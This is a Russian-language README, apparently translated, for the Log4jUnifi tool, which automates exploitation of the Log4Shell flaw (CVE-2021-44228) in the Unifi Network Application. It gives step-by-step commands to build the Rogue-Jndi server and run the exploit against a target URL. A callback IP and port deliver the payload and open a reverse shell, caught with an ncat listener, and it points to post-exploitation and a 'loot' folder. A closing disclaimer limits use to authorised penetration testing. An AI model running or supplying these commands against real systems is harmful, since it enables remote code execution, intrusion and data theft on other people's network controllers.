
Эксплуатация CVE-2021-44228 в приложении Unifi Network для удаленного выполнения кода и не только.
Эксплуатация CVE-2021-44228 в Unifi Network Application для удаленного выполнения кода и других действий.
Доказательства концепции для этой уязвимости разрознены и требуют ручного выполнения. Этот репозиторий автоматизирует процесс эксплуатации. Обратитесь к статье выше за рекомендациями по пост-эксплуатации.
Репозиторий можно использовать вручную или с Docker.
Для загрузки и запуска эксплойта вручную выполните следующие шаги. Сначала убедитесь, что Java и Maven установлены на вашей атакующей машине. Для этого с помощью apt на дистрибутивах на основе Debian выполните команду:
apt update && apt install openjdk-11-jre maven
Клонируйте репозиторий GitHub и установите все зависимости Python:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && pip3 install -r requirements.txt
Из корня репозитория Log4jUnifi скомпилируйте проект Rogue-Jndi с помощью команды ниже:
mvn package -f utils/rogue-jndi/
Сначала убедитесь, что Docker установлен на вашей атакующей машине. (Я не буду объяснять, как это сделать.)
После этого выполните команду ниже, чтобы клонировать репозиторий и создать образ Docker, который мы будем использовать.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && docker build -t log4junifi .
Для запуска контейнера выполните команду, похожую на приведенную ниже, с добавлением ваших флагов командной строки. Обратите внимание, что контейнер не будет перехватывать реверс-шелл. Вам нужно создать слушатель ncat в отдельном сеансе оболочки:
docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi \
-u https://unifi.acme.com:8443 -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -u URL -i CALLBACK -p PORT
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Unifi Network Manager base URL
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
Получение реверс-шелла с помощью инструмента, установленного на локальной системе:
python3 exploit.py -u https://unifi.acme.com:8443 -i 10.10.10.1 -p 4444
Этот инструмент предназначен для использования во время тестирования на проникновение; использование этого инструмента для атак на цели без предварительного взаимного согласия незаконно. Ответственность за соблюдение всех применимых местных, государственных и федеральных законов лежит на конечном пользователе. Разработчики не несут никакой ответственности и не несут ответственности за любое неправомерное использование этой программы.